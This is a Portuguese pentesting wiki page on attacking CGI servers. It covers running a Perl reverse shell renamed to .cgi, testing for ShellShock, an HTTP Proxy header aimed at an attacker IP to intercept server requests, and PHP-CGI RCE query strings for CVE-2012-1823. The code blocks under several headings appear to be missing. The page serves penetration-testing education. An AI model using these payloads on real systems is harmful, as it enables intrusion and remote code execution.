CGI
Informação
Os scripts CGI são scripts perl, então, se você comprometeu um servidor que pode executar .cgi scripts, você pode fazer upload de um shell reverso perl (/usr/share/webshells/perl/perl-reverse-shell.pl
), mudar a extensão de .pl para .cgi, dar permissões de execução (chmod +x
) e acessar o shell reverso pelo navegador para executá-lo.
Para testar por vuln CGI, é recomendado usar nikto -C all
(e todos os plugins)
ShellShock
ShellShock é uma vulnerabilidade que afeta o amplamente utilizado Bash shell de linha de comando em sistemas operacionais baseados em Unix. Ela ataca a capacidade do Bash de executar comandos passados por aplicativos. A vulnerabilidade reside na manipulação de variáveis de ambiente, que são valores nomeados dinâmicos que impactam como os processos são executados em um computador. Os atacantes podem explorar isso anexando código malicioso a variáveis de ambiente, que é executado ao receber a variável. Isso permite que os atacantes potencialmente comprometam o sistema.
Explorando essa vulnerabilidade, a página pode gerar um erro.
Você pode encontrar essa vulnerabilidade notando que está usando uma versão antiga do Apache e cgi_mod (com a pasta cgi) ou usando nikto.
Teste
A maioria dos testes é baseada em ecoar algo e esperar que essa string seja retornada na resposta da web. Se você acha que uma página pode ser vulnerável, procure por todas as páginas cgi e teste-as.
Nmap
Curl (refletido, cego e fora de banda)
Exploit
Proxy (MitM para solicitações do servidor Web)
CGI cria uma variável de ambiente para cada cabeçalho na solicitação http. Por exemplo: "host:web.com" é criado como "HTTP_HOST"="web.com"
Como a variável HTTP_PROXY pode ser usada pelo servidor web. Tente enviar um cabeçalho contendo: "Proxy: <IP_atacante>:<PORTA>" e se o servidor realizar qualquer solicitação durante a sessão. Você poderá capturar cada solicitação feita pelo servidor.
PHP Antigo + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
Basicamente, se o cgi estiver ativo e o php for "antigo" (<5.3.12 / < 5.4.2) você pode executar código. Para explorar essa vulnerabilidade, você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros (especialmente sem enviar o caractere "="). Então, para testar essa vulnerabilidade, você poderia acessar, por exemplo, /index.php?-s
(note o -s
) e o código fonte da aplicação aparecerá na resposta.
Então, para obter RCE você pode enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input
e o código PHP a ser executado no corpo da solicitação. Exemplo:
Mais informações sobre a vulnerabilidade e possíveis exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Exemplo de Writeup de CTF.
Last updated